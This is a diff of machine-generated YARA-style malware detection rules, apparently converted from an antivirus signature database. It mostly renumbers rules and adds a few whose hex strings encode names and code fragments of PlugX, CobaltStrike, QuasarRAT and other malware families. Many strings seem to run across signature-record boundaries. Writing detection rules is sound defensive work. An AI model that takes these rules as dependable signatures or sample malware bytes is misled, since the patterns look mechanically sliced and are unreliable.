6a 61 6e 3a 4d 53 49 4c 2f 53 74 61 72 74 75 6e 2e 45 4e 41 56 21 4d 54 42 00 02 00 1f 01 13 05 00 09 1f 09 fe 02 13 0a 11 0a 2c 25 00 11 05 13 0b 09 1f 0a 59 1f 41 58 d1 13 09 12 09 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37075,7 +38173,7 @@ rule _InfrastructureShared_3588{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_3589{ +rule _InfrastructureShared_3695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37086,7 +38184,7 @@ rule _InfrastructureShared_3589{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_3590{ +rule _InfrastructureShared_3696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37097,7 +38195,7 @@ rule _InfrastructureShared_3590{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_3591{ +rule _InfrastructureShared_3697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37108,7 +38206,7 @@ rule _InfrastructureShared_3591{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*8993) >=2 } -rule _InfrastructureShared_3592{ +rule _InfrastructureShared_3698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37119,7 +38217,7 @@ rule _InfrastructureShared_3592{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*8993) >=2 } -rule _InfrastructureShared_3593{ +rule _InfrastructureShared_3699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37130,7 +38228,7 @@ rule _InfrastructureShared_3593{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*29250) >=2 } -rule _InfrastructureShared_3594{ +rule _InfrastructureShared_3700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37141,7 +38239,7 @@ rule _InfrastructureShared_3594{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29513) >=2 } -rule _InfrastructureShared_3595{ +rule _InfrastructureShared_3701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37152,7 +38250,7 @@ rule _InfrastructureShared_3595{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268) >=2 } -rule _InfrastructureShared_3596{ +rule _InfrastructureShared_3702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37163,7 +38261,7 @@ rule _InfrastructureShared_3596{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268) >=2 } -rule _InfrastructureShared_3597{ +rule _InfrastructureShared_3703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37174,7 +38272,7 @@ rule _InfrastructureShared_3597{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*26966) >=2 } -rule _InfrastructureShared_3598{ +rule _InfrastructureShared_3704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37185,7 +38283,7 @@ rule _InfrastructureShared_3598{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18490) >=2 } -rule _InfrastructureShared_3599{ +rule _InfrastructureShared_3705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37196,7 +38294,7 @@ rule _InfrastructureShared_3599{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*-31729) >=2 } -rule _InfrastructureShared_3600{ +rule _InfrastructureShared_3706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37206,7 +38304,7 @@ rule _InfrastructureShared_3600{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3601{ +rule _InfrastructureShared_3707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37216,7 +38314,7 @@ rule _InfrastructureShared_3601{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3602{ +rule _InfrastructureShared_3708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -37226,7 +38324,7 @@ rule _InfrastructureShared_3602{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3603{ +rule _InfrastructureShared_3709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -37238,7 +38336,7 @@ rule _InfrastructureShared_3603{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28530+(#a_65_3 & 1)*384) >=2 } -rule _InfrastructureShared_3604{ +rule _InfrastructureShared_3710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -37248,7 +38346,7 @@ rule _InfrastructureShared_3604{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3605{ +rule _InfrastructureShared_3711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -37259,31 +38357,43 @@ rule _InfrastructureShared_3605{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*8993) >=3 } -rule _InfrastructureShared_3606{ +rule _InfrastructureShared_3712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 75 67 78 21 74 69 6d 65 63 68 65 63 6b 00 01 00 06 01 6b d2 64 83 e8 7a 01 00 05 01 03 d0 6b d2 64 01 00 09 01 03 d1 81 fa 3e 52 33 01 0f 00 00 78 4e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a } //18467 - $a_6a_1 = {6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 49 55 00 01 00 0a 01 03 5c 24 10 81 c3 00 10 00 00 01 00 07 01 00 00 00 03 24 24 03 01 00 0c 03 64 8b 40 30 90 02 08 8b 40 0c 90 00 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 41 44 21 4d 54 42 00 05 } //29268 - $a_11_2 = {0e 04 58 } //6656 + $a_6a_1 = {6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 49 55 00 01 00 0a 01 03 5c 24 10 81 c3 00 10 00 00 01 00 07 01 00 00 00 03 24 24 03 01 00 0c 03 64 8b 40 30 90 02 08 8b 40 0c 90 00 00 00 78 4e 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 02 00 0f 01 44 65 76 69 } //29268 + $a_6f_2 = {6f 6e 74 72 6f 6c 01 00 04 80 01 2e 62 6c 66 01 00 04 80 01 4c 4f 47 3a 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 41 44 21 4d } //25955 condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_11_2 & 1)*6656) >=3 + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268+(#a_6f_2 & 1)*25955) >=3 } -rule _InfrastructureShared_3607{ +rule _InfrastructureShared_3713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 49 55 00 01 00 0a 01 03 5c 24 10 81 c3 00 10 00 00 01 00 07 01 00 00 00 03 24 24 03 01 00 0c 03 64 8b 40 30 90 02 08 8b 40 0c 90 00 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 42 } //18467 - $a_64_1 = {6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 41 44 21 4d 54 42 00 05 00 1a 03 11 06 0e 04 58 20 ff 00 00 00 5f d2 61 d2 81 90 01 01 00 00 01 1e 13 0e 90 00 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 43 4a 4e 21 } //25441 - $a_00_2 = {05 00 19 03 0f be 0c 11 33 c8 8b c1 48 63 8d 90 01 04 48 8b 95 90 01 04 88 04 0a 90 00 00 00 78 4e 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 44 72 69 78 65 64 3a 53 65 72 } //21581 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 49 55 00 01 00 0a 01 03 5c 24 10 81 c3 00 10 00 00 01 00 07 01 00 00 00 03 24 24 03 01 00 0c 03 64 8b 40 30 90 02 08 8b 40 0c 90 00 00 00 78 4e 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 } //18467 + $a_73_1 = {69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 02 00 0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 04 80 01 2e 62 6c 66 01 00 04 80 01 4c 4f 47 3a 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 41 44 21 4d 54 42 00 05 00 1a 03 11 06 0e } //24936 + $a_ff_2 = {00 00 5f d2 61 d2 81 90 01 01 00 00 01 1e 13 0e 90 00 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 } //22532 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25441+(#a_00_2 & 1)*21581) >=3 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24936+(#a_ff_2 & 1)*22532) >=3 } -rule _InfrastructureShared_3608{ +rule _InfrastructureShared_3714{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 02 00 0f 01 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 04 80 01 2e 62 6c 66 01 00 04 80 01 4c 4f 47 3a 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 4b 41 41 44 } //25635 + $a_42_1 = {05 00 1a 03 11 06 0e 04 58 20 ff 00 00 00 5f d2 61 d2 81 90 01 01 00 00 01 1e 13 0e 90 00 00 00 78 4e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 43 4a 4e 21 4d 54 42 00 05 } //19745 + $a_0f_2 = {be 0c 11 } //6400 + condition: + ((#a_5f_0 & 1)*25635+(#a_42_1 & 1)*19745+(#a_0f_2 & 1)*6400) >=3 + +} +rule _InfrastructureShared_3715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -37293,7 +38403,7 @@ rule _InfrastructureShared_3608{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3609{ +rule _InfrastructureShared_3716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -37303,7 +38413,17 @@ rule _InfrastructureShared_3609{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3610{ +rule _InfrastructureShared_3717{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 51 75 61 73 61 72 52 41 54 2e 50 47 51 52 21 4d 54 42 00 05 00 1c 03 48 89 c2 83 e2 0f 90 02 01 0f b6 14 90 01 01 30 14 03 48 83 c0 01 90 02 06 39 90 00 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_3718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -37313,7 +38433,7 @@ rule _InfrastructureShared_3610{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3611{ +rule _InfrastructureShared_3719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -37324,7 +38444,7 @@ rule _InfrastructureShared_3611{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*25441) >=10 } -rule _InfrastructureShared_3612{ +rule _InfrastructureShared_3720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -37334,7 +38454,7 @@ rule _InfrastructureShared_3612{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3613{ +rule _InfrastructureShared_3721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -37344,7 +38464,7 @@ rule _InfrastructureShared_3613{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3614{ +rule _InfrastructureShared_3722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37354,7 +38474,7 @@ rule _InfrastructureShared_3614{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3615{ +rule _InfrastructureShared_3723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37364,7 +38484,7 @@ rule _InfrastructureShared_3615{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3616{ +rule _InfrastructureShared_3724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37374,7 +38494,7 @@ rule _InfrastructureShared_3616{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3617{ +rule _InfrastructureShared_3725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37384,7 +38504,7 @@ rule _InfrastructureShared_3617{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3618{ +rule _InfrastructureShared_3726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37394,7 +38514,7 @@ rule _InfrastructureShared_3618{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3619{ +rule _InfrastructureShared_3727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37404,7 +38524,7 @@ rule _InfrastructureShared_3619{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3620{ +rule _InfrastructureShared_3728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37414,7 +38534,7 @@ rule _InfrastructureShared_3620{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3621{ +rule _InfrastructureShared_3729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37424,7 +38544,7 @@ rule _InfrastructureShared_3621{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3622{ +rule _InfrastructureShared_3730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37434,7 +38554,7 @@ rule _InfrastructureShared_3622{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3623{ +rule _InfrastructureShared_3731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37444,7 +38564,7 @@ rule _InfrastructureShared_3623{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3624{ +rule _InfrastructureShared_3732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37454,7 +38574,7 @@ rule _InfrastructureShared_3624{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3625{ +rule _InfrastructureShared_3733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37464,7 +38584,7 @@ rule _InfrastructureShared_3625{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3626{ +rule _InfrastructureShared_3734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37474,7 +38594,7 @@ rule _InfrastructureShared_3626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3627{ +rule _InfrastructureShared_3735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37484,7 +38604,7 @@ rule _InfrastructureShared_3627{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3628{ +rule _InfrastructureShared_3736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37494,7 +38614,7 @@ rule _InfrastructureShared_3628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3629{ +rule _InfrastructureShared_3737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37504,7 +38624,7 @@ rule _InfrastructureShared_3629{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3630{ +rule _InfrastructureShared_3738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37514,7 +38634,7 @@ rule _InfrastructureShared_3630{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3631{ +rule _InfrastructureShared_3739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37524,7 +38644,7 @@ rule _InfrastructureShared_3631{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3632{ +rule _InfrastructureShared_3740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37534,7 +38654,7 @@ rule _InfrastructureShared_3632{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3633{ +rule _InfrastructureShared_3741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37544,7 +38664,7 @@ rule _InfrastructureShared_3633{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3634{ +rule _InfrastructureShared_3742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37554,7 +38674,7 @@ rule _InfrastructureShared_3634{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3635{ +rule _InfrastructureShared_3743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37564,7 +38684,7 @@ rule _InfrastructureShared_3635{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3636{ +rule _InfrastructureShared_3744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37574,7 +38694,7 @@ rule _InfrastructureShared_3636{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3637{ +rule _InfrastructureShared_3745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37584,7 +38704,7 @@ rule _InfrastructureShared_3637{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3638{ +rule _InfrastructureShared_3746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37594,7 +38714,7 @@ rule _InfrastructureShared_3638{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3639{ +rule _InfrastructureShared_3747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37604,7 +38724,7 @@ rule _InfrastructureShared_3639{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3640{ +rule _InfrastructureShared_3748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37614,7 +38734,7 @@ rule _InfrastructureShared_3640{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3641{ +rule _InfrastructureShared_3749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37624,7 +38744,7 @@ rule _InfrastructureShared_3641{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3642{ +rule _InfrastructureShared_3750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37634,7 +38754,7 @@ rule _InfrastructureShared_3642{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3643{ +rule _InfrastructureShared_3751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37644,7 +38764,7 @@ rule _InfrastructureShared_3643{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3644{ +rule _InfrastructureShared_3752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37654,7 +38774,7 @@ rule _InfrastructureShared_3644{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3645{ +rule _InfrastructureShared_3753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37664,7 +38784,7 @@ rule _InfrastructureShared_3645{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3646{ +rule _InfrastructureShared_3754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37674,17 +38794,27 @@ rule _InfrastructureShared_3646{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3647{ +rule _InfrastructureShared_3755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 52 65 64 50 69 6c 6c 43 72 79 70 74 65 72 00 01 00 27 01 3a 5c 4c 61 73 74 53 61 76 65 5c 52 65 64 50 69 6c 6c 43 72 79 70 74 65 72 0d 65 73 6f 75 72 63 65 2e 68 00 50 41 44 00 00 78 4f 00 00 01 00 01 00 01 00 21 23 4c 6f 77 66 } //18467 + $a_54_0 = {3a 57 69 6e 33 32 2f 52 65 64 50 69 6c 6c 43 72 79 70 74 65 72 00 01 00 27 01 3a 5c 4c 61 73 74 53 61 76 65 5c 52 65 64 50 69 6c 6c 43 72 79 70 74 65 72 0d 65 73 6f 75 72 63 65 2e 68 00 50 41 44 00 00 78 4f 00 00 01 00 01 00 01 00 21 23 48 53 54 52 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3648{ +rule _InfrastructureShared_3756{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 53 63 61 76 65 6e 67 65 72 2e 47 56 41 31 00 01 00 27 02 8b 44 24 30 ff c0 89 44 24 30 8b 44 24 34 39 44 24 30 7e 07 c6 05 90 01 04 01 b9 e8 03 00 00 ff 15 5e 86 0c 00 90 00 00 00 78 4f 00 00 01 00 01 00 01 00 21 23 4c 6f 77 66 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37694,7 +38824,7 @@ rule _InfrastructureShared_3648{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3649{ +rule _InfrastructureShared_3758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37704,7 +38834,7 @@ rule _InfrastructureShared_3649{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3650{ +rule _InfrastructureShared_3759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37714,7 +38844,7 @@ rule _InfrastructureShared_3650{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3651{ +rule _InfrastructureShared_3760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37724,7 +38854,7 @@ rule _InfrastructureShared_3651{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3652{ +rule _InfrastructureShared_3761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37734,7 +38864,7 @@ rule _InfrastructureShared_3652{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3653{ +rule _InfrastructureShared_3762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37744,7 +38874,7 @@ rule _InfrastructureShared_3653{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3654{ +rule _InfrastructureShared_3763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37754,7 +38884,7 @@ rule _InfrastructureShared_3654{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3655{ +rule _InfrastructureShared_3764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37764,7 +38894,7 @@ rule _InfrastructureShared_3655{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3656{ +rule _InfrastructureShared_3765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37774,7 +38904,7 @@ rule _InfrastructureShared_3656{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3657{ +rule _InfrastructureShared_3766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37784,7 +38914,7 @@ rule _InfrastructureShared_3657{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3658{ +rule _InfrastructureShared_3767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37794,7 +38924,7 @@ rule _InfrastructureShared_3658{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3659{ +rule _InfrastructureShared_3768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37804,7 +38934,7 @@ rule _InfrastructureShared_3659{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3660{ +rule _InfrastructureShared_3769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -37814,7 +38944,17 @@ rule _InfrastructureShared_3660{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3661{ +rule _InfrastructureShared_3770{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 